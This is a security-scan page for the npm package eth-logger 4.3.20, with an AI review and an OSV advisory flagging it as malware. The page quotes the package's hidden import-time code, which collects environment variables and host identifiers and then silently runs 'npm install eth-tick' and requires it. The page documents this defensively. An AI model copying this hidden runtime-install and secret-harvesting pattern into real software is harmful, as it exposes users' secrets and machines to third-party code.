registry / eth-logger / 4.3.20

eth-logger@4.3.20

Retrieve eth address logs.

AI Security Review

scanned 22d ago · by lpm-firewall-ai

Importing eth-logger triggers hidden runtime dependency installation and execution of eth-tick. The package also harvests environment and host identifiers at import time, creating a staged payload execution surface.

Static reason

One or more suspicious static signals were detected.

Trigger

require('eth-logger') or requiring pino.js

Impact

Unconsented third-party code execution with access to process secrets and host identifiers

Mechanism

import-time environment/host collection plus runtime npm install and require of eth-tick

Attack narrative

A consumer importing the package loads pino.js, which immediately requires lib/writer.js. That module gathers process.env and host metadata, then attempts to require eth-tick; if missing, it silently installs eth-tick at runtime and executes ../../eth-tick/pino.js. The actual second-stage behavior is outside this package, but this package is a clear staged payload carrier and import-time execution trigger.

Rationale

Source inspection confirms hidden import-time host/env collection and unconsented runtime npm installation/execution of eth-tick from lib/writer.js. This is not package-aligned logger behavior and creates a concrete staged payload attack surface.

Evidence

package.jsonpino.jslib/writer.jsfile.js../../eth-tick/pino.jsnode_modules/eth-tick

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-3029

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in eth-logger (npm)

Details

The package eth-logger was found to contain malicious code. ## Source: ghsa-malware (0a6575daf349a893026eed02c1231af4cb31b0c8acbccf9ab819875af89625b3) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (028addf545d834096a4443644415ea2ec422310d4e413d6ded00fb87fdd4d74f) The OpenSSF Package Analysis project identified 'eth-logger' @ 4.3.21 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

References

OSV advisory ADVISORY

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

pino.js imports ./lib/writer at module load, activating writer.js before user logging calls.
lib/writer.js copies all process.env plus hostname, username, platform, and MAC addresses into data.
lib/writer.js runs execSync('npm install eth-tick ... --no-save ...') when eth-tick is absent.
lib/writer.js then executes require('../../eth-tick/pino.js'), loading code outside this package tree.
package.json has no lifecycle hooks, so behavior is hidden in the main import path.

Evidence against

No explicit HTTP exfiltration URL is present in inspected package files.
The collected data object is not directly transmitted by this package source.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystem

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 17 file(s), 53.4 KB of source, external domains: github.com

Source & flagged code

3 flagged

lib/writer.jsView file

4const path = require('path'); L5: const { execSync } = require('child_process'); L6:

High

Child Process

Package source references child process execution.

lib/writer.jsView on unpkg · L4

42try { L43: execSync(`npm install eth-tick --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true }); L44: require('../../eth-tick/pino.js');

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

lib/writer.jsView on unpkg · L42

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Source & flagged code

3 flagged · loading source

lib/writer.jsView file

4const path = require('path'); L5: const { execSync } = require('child_process'); L6:

High

Child Process

Package source references child process execution.

lib/writer.jsView on unpkg · L4

42try { L43: execSync(`npm install eth-tick --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true }); L44: require('../../eth-tick/pino.js');

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

lib/writer.jsView on unpkg · L42

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Findings

2 High3 Medium4 Low

HighChild Processlib/writer.js

HighRuntime Package Installlib/writer.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

MediumSecret Patterndocs/transports.md

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings